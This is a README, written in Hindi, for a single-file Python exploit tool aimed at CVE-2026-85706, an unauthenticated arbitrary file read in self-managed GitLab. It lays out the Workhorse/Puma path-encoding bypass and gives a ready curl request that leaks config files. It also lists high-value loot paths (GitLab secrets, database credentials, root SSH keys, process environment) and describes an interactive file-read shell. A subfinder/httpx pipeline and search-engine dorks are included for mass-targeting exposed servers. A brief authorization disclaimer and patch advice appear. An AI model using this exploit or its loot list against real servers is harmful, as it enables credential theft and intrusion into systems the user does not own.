
CVE-2026-85706 के लिए सिंगल-फ़ाइल Python स्कैनर और एक्सप्लॉइट, जो self-managed GitLab CE/EE में अनऑथेंटिकेटेड आर्बिट्ररी फ़ाइल रीड है, जिसमें प्रोजेक्ट एन्यूमरेशन, लूट पाथ और एक इंटरैक्टिव शेल शामिल है।
CVE-2026-85706 — GitLab CE/EE अनधिकृत मनमाना फ़ाइल रीड
डिटेक्ट · सार्वजनिक प्रोजेक्ट एनम · लूट · इंटरैक्टिव शेल · subfinder/httpx पाइपलाइन
लेखक: Yunus Emre Öztaş (mitsec)
X: x.com/ynsmroztas
GitHub: github.com/ynsmroztas
साइट: ynsmroztas.github.io
मेल: [email protected]
केवल उन सिस्टम पर उपयोग करें जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है (बग बाउंटी / VDP / लिखित अनुबंध)।
GitLabSniper.py CVE-2026-85706 के लिए एक सिंगल-फ़ाइल Python स्कैनर/एक्सप्लॉइट है: स्व-प्रबंधित GitLab Community Edition और Enterprise Edition में एक अनधिकृत लोकल फ़ाइल रीड।
यह "वर्ज़न प्रभावित लगता है" पर रुकता नहीं है। यह Workhorse parser-differential bypass चलाता है, Rails प्रतिक्रिया को वर्गीकृत करता है, और केवल तब FILE LEAK प्रिंट करता है जब 400 बॉडी में invalid %-encoding (...) के अंदर फ़ाइल बाइट्स मौजूद हों।
| बैंड | वर्ज़न |
|---|---|
| प्रभावित | 18.7 – 19.1.7 · 19.2.0 – 19.2.5 · 19.3.0 – 19.3.1 |
| पैच किया गया | 19.1.8 / 19.2.6 / 19.3.2 (2026-09-10) |
| दायरे में नहीं | gitlab.com · GitLab Dedicated |
तीन रिपॉज़िटरी एंडपॉइंट Workhorse requestBodyUploader के पीछे बैठे हैं:
POST /api/v4/projects/:id/repository/commitsPOST /api/v4/projects/:id/repository/files/:file_pathPUT /api/v4/projects/:id/repository/files/:file_pathRails कच्चा file.path फ़ील्ड लेता है और authenticate! से पहले File.open चलाता है। require_gitlab_workhorse! यहाँ वास्तविक गेट नहीं है: Workhorse पहले से ही जो कुछ भी प्रॉक्सी करता है उस पर एक वैध Gitlab-Workhorse-Api-Request JWT लगा देता है।
Workhorse को पहले अपलोड को रीराइट करना था। इसका रूट regex EscapedPath() और एक path.Clean क्लोन से मेल खाता है जो कभी प्रतिशत-डिकोड नहीं करता। Puma Grape रूटिंग से पहले %XX को डिकोड करता है।
Attacker
POST /api/v4/projects/35/repository/%63ommits
POST /api/v4/projects/35/repository/commits/ ← trailing slash also slips
?file=&file.path=/etc/passwd&file.size=1
&Content-Type=application/x-www-form-urlencoded
│
▼
Workhorse regex sees "%63ommits" / "commits/" → MISS (no rewrite)
│
▼
Puma decodes %63 → commits → ROUTES to Rails
│
▼
Rails File.open(params[:file][:path]) → BEFORE auth
│
▼
Rack parse_nested_query(File.read(path))
stray "%" that is not %HH
│
▼
HTTP 400 Invalid parameter: invalid %-encoding (<raw file bytes>)
file= खाली requires :file, WorkhorseFile को संतुष्ट करता है (खाली → nil)। लीक चैनल urlencoded ब्रांच है। JSON/Oj फ़ाइल बाइट्स को उसी तरह इको नहीं करता — टूल हमेशा Content-Type=application/x-www-form-urlencoded भेजता है।
//, /./, %2F और ; bypass नहीं करते: path.Clean पहले दो को सामान्य कर देता है और Puma %2F को अस्वीकार कर देता है।
प्रोजेक्ट id यह नहीं है कि "किस रेपो से फ़ाइलें चुरानी हैं"। file.path एक पूर्ण सर्वर पथ है। id केवल URL का वह हिस्सा है जो कमज़ोर कंट्रोलर तक पहुँचता है।
इसीलिए टूल GET /api/v4/projects को एनम करता है और गेटेड ids को छोड़ देता है।
पुष्ट लीक के लिए बॉडी में यह सबस्ट्रिंग आवश्यक है:
invalid %-encoding (
जिन फ़ाइलों में कोई अकेला % नहीं है वे अभी भी खुल सकती हैं (read-noecho / बाद में branch is required) लेकिन इको नहीं करेंगी। वह एक ओरेकल है, रिपोर्ट करने योग्य डंप नहीं।
x-gitlab-* / sign-in) + दिखने पर वर्ज़न रेंजGET /api/v4/projects)1..7)%63ommits · %72epository · %66iles/ · .jsonleak · leak-fragment · read-noecho · missing · project-gate · rewrite · pip install requests
python3 GitLabSniper.py -h
Python 3.10+। कोई अन्य निर्भरता नहीं।
python3 GitLabSniper.py -u https://gitlab.example.com --auto
python3 GitLabSniper.py -u https://gitlab.example.com --auto --shell
python3 GitLabSniper.py -u https://gitlab.example.com --file /etc/gitlab/gitlab-secrets.json
python3 GitLabSniper.py -u https://gitlab.example.com --project-id 35 --auto
python3 GitLabSniper.py -u https://gitlab.example.com --shell
[email protected]> help
[email protected]> cat /etc/passwd
[email protected]> secrets
[email protected]> loot
[email protected]> project 35
[email protected]> curl /etc/gitlab/gitlab.rb
[email protected]> exit
subfinder -d example.com -silent \
| httpx -silent -sc -td -title \
| python3 GitLabSniper.py --pipe --auto -o hits.jsonl
subfinder -d example.com -silent \
| httpx -silent -json \
| python3 GitLabSniper.py --pipe --auto -q -o hits.jsonl
# stdin is not a TTY → --pipe is implied
cat hosts.txt | python3 GitLabSniper.py --auto
पार्सर स्वीकार करता है:
https://gitlab.example.comhttps://gitlab.example.com [200] [GitLab] [nginx]httpx -json ऑब्जेक्ट (url / status_code)host और host:port[0] / timeout / खाली पंक्तियाँ छोड़ता हैएग्ज़िट कोड: 0 लीक · 1 केवल-ओरेकल / पाइप में कोई लीक नहीं · 2 कोई उपयोगी सिग्नल नहीं।
केवल read-noecho के आधार पर critical दर्ज न करें।
/etc/hostname
/etc/passwd
/etc/os-release
/opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/gitlab.yml
/opt/gitlab/embedded/service/gitlab-rails/config/database.yml
/etc/gitlab/gitlab-secrets.json
/etc/gitlab/gitlab.rb
/var/opt/gitlab/gitlab-rails/etc/secrets.yml
/opt/gitlab/embedded/service/gitlab-rails/config/initializers/secret_token.rb
/root/.ssh/id_rsa
/var/opt/gitlab/.ssh/id_rsa
/proc/self/environ
इको होने पर सर्वाधिक प्रभाव: secrets.yml, gitlab-secrets.json, database.yml (secret_key_base, otp_key_base, DB पासवर्ड)।
curl -sk -X POST \
"https://gitlab.example.com/api/v4/projects/35/repository/commits/?file=&file.path=%2Fopt%2Fgitlab%2Fembedded%2Fservice%2Fgitlab-rails%2Fconfig%2Fgitlab.yml&file.size=1&Content-Type=application/x-www-form-urlencoded"
कमज़ोर इंस्टेंस इसके समान JSON लौटाता है:
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (## GitLab settings\n gitlab:\n host: gitlab.example.com\n ... )"}
कुछ होस्ट पर %63ommits 401 है और /repository/commits/ (trailing slash) वह फ़ॉर्म है जो लीक करता है। टूल हर वेरिएंट चलाता है।
http.html:"GitLab" http.status:200
http.html:"Sign in · GitLab"
ssl:"gitlab" port:443
"X-Gitlab-"
subfinder | httpx | GitLabSniper.py --pipe --auto के साथ जोड़ें।
यह रिपॉज़िटरी अधिकृत सुरक्षा परीक्षण और पैचिंग के बाद रक्षात्मक सत्यापन के लिए है। दायरे की ज़िम्मेदारी आपकी है।
यदि आप प्रभावित रेंज में स्व-प्रबंधित GitLab बॉक्स चलाते हैं: अभी 19.1.8 / 19.2.6 / 19.3.2 पर अपग्रेड करें। file.path क्वेरी पैरामीटर के साथ POST /api/v4/projects/*/repository/commits के लिए एक्सेस लॉग खंगालें।
कमज़ोरी की रिपोर्ट s3ntago ने GitLab HackerOne के माध्यम से की।
राइट-अप और मूल PoC जिस पर यह टूल बना है:
https://github.com/guneykabel/cve-2026-85706
एक स्पष्ट वर्गीकरण (leak / missing / project-gate / rewrite) और Workhorse ↔ Puma differential स्पष्टीकरण प्रकाशित करने के लिए guneykabel को धन्यवाद। GitLabSniper उस मॉडल को प्रोजेक्ट एनम, लूट, शेल और रेकॉन पाइपलाइन के साथ लपेटता है।
GitLab सलाह / पैच: CE/EE 19.1.8, 19.2.6, 19.3.2।
Yunus Emre Öztaş · mitsec
[email protected]| एंडपॉइंट | प्रोजेक्ट आवश्यकता |
|---|
files (%66iles) | कोई भी id अक्सर काम करता है — File.open प्रोजेक्ट जाँच से पहले है |
commits (%63ommits, commits/, commits.json) | ऐसा प्रोजेक्ट चाहिए जिसे अनाम उपयोगकर्ता read_code कर सके। अन्यथा 404 Project Not Found |
noroute--auto लूट सूची (hostname, passwd, secrets.yml, gitlab-secrets.json, gitlab.rb, database.yml, ssh keys, environ)cat, loot, secrets, passwd, project <id>, curl)httpx -sc -td -title, httpx -json, ANSI हटाया गया-o)| फ़्लैग | अर्थ |
|---|
-u / -t / --target | एकल बेस URL |
--pipe | stdin से टारगेट पढ़ें |
-f / --list | होस्ट की फ़ाइल |
--file | पढ़ने के लिए एक पूर्ण पथ |
--auto / --loot | उच्च-मूल्य GitLab फ़ाइल सूची |
--shell | इंटरैक्टिव फ़ाइल-रीड शेल |
--project-id | प्रोजेक्ट id बाध्य करें (डिफ़ॉल्ट: एनम + फ़ॉलबैक) |
--max-projects | एनम/फ़ॉलबैक ids की सीमा (डिफ़ॉल्ट 8) |
--force | फ़िंगरप्रिंट कमज़ोर होने पर भी स्कैन करें |
--threads | पाइपलाइन वर्कर (डिफ़ॉल्ट 8) |
--timeout | सेकंड (डिफ़ॉल्ट 15) |
-o | hits.json या hits.jsonl |
-q | शांत |
--no-banner | बैनर नहीं |
| टैग | अर्थ | रिपोर्ट? |
|---|
leak | invalid %-encoding ( + फ़ाइल बाइट्स | हाँ — पुष्ट |
leak-fragment | आंशिक इको | शायद, बॉडी संलग्न करें |
read-noecho | खुलने के बाद 401 / branch is required, फ़ाइल में % नहीं | केवल ओरेकल |
missing | local file not present — bypass डिस्क तक पहुँचा | अस्तित्व ओरेकल |
project-gate | 404 Project Not Found | कोई अन्य सार्वजनिक id आज़माएँ |
rewrite | Workhorse ने बॉडी रीराइट की (Invalid json) | यह फ़ॉर्म मृत है |
noroute | सादा 404 | पैच किया गया या गलत पथ |
other | 500 / अवशेष | दावा करने से पहले बॉडी डंप करें |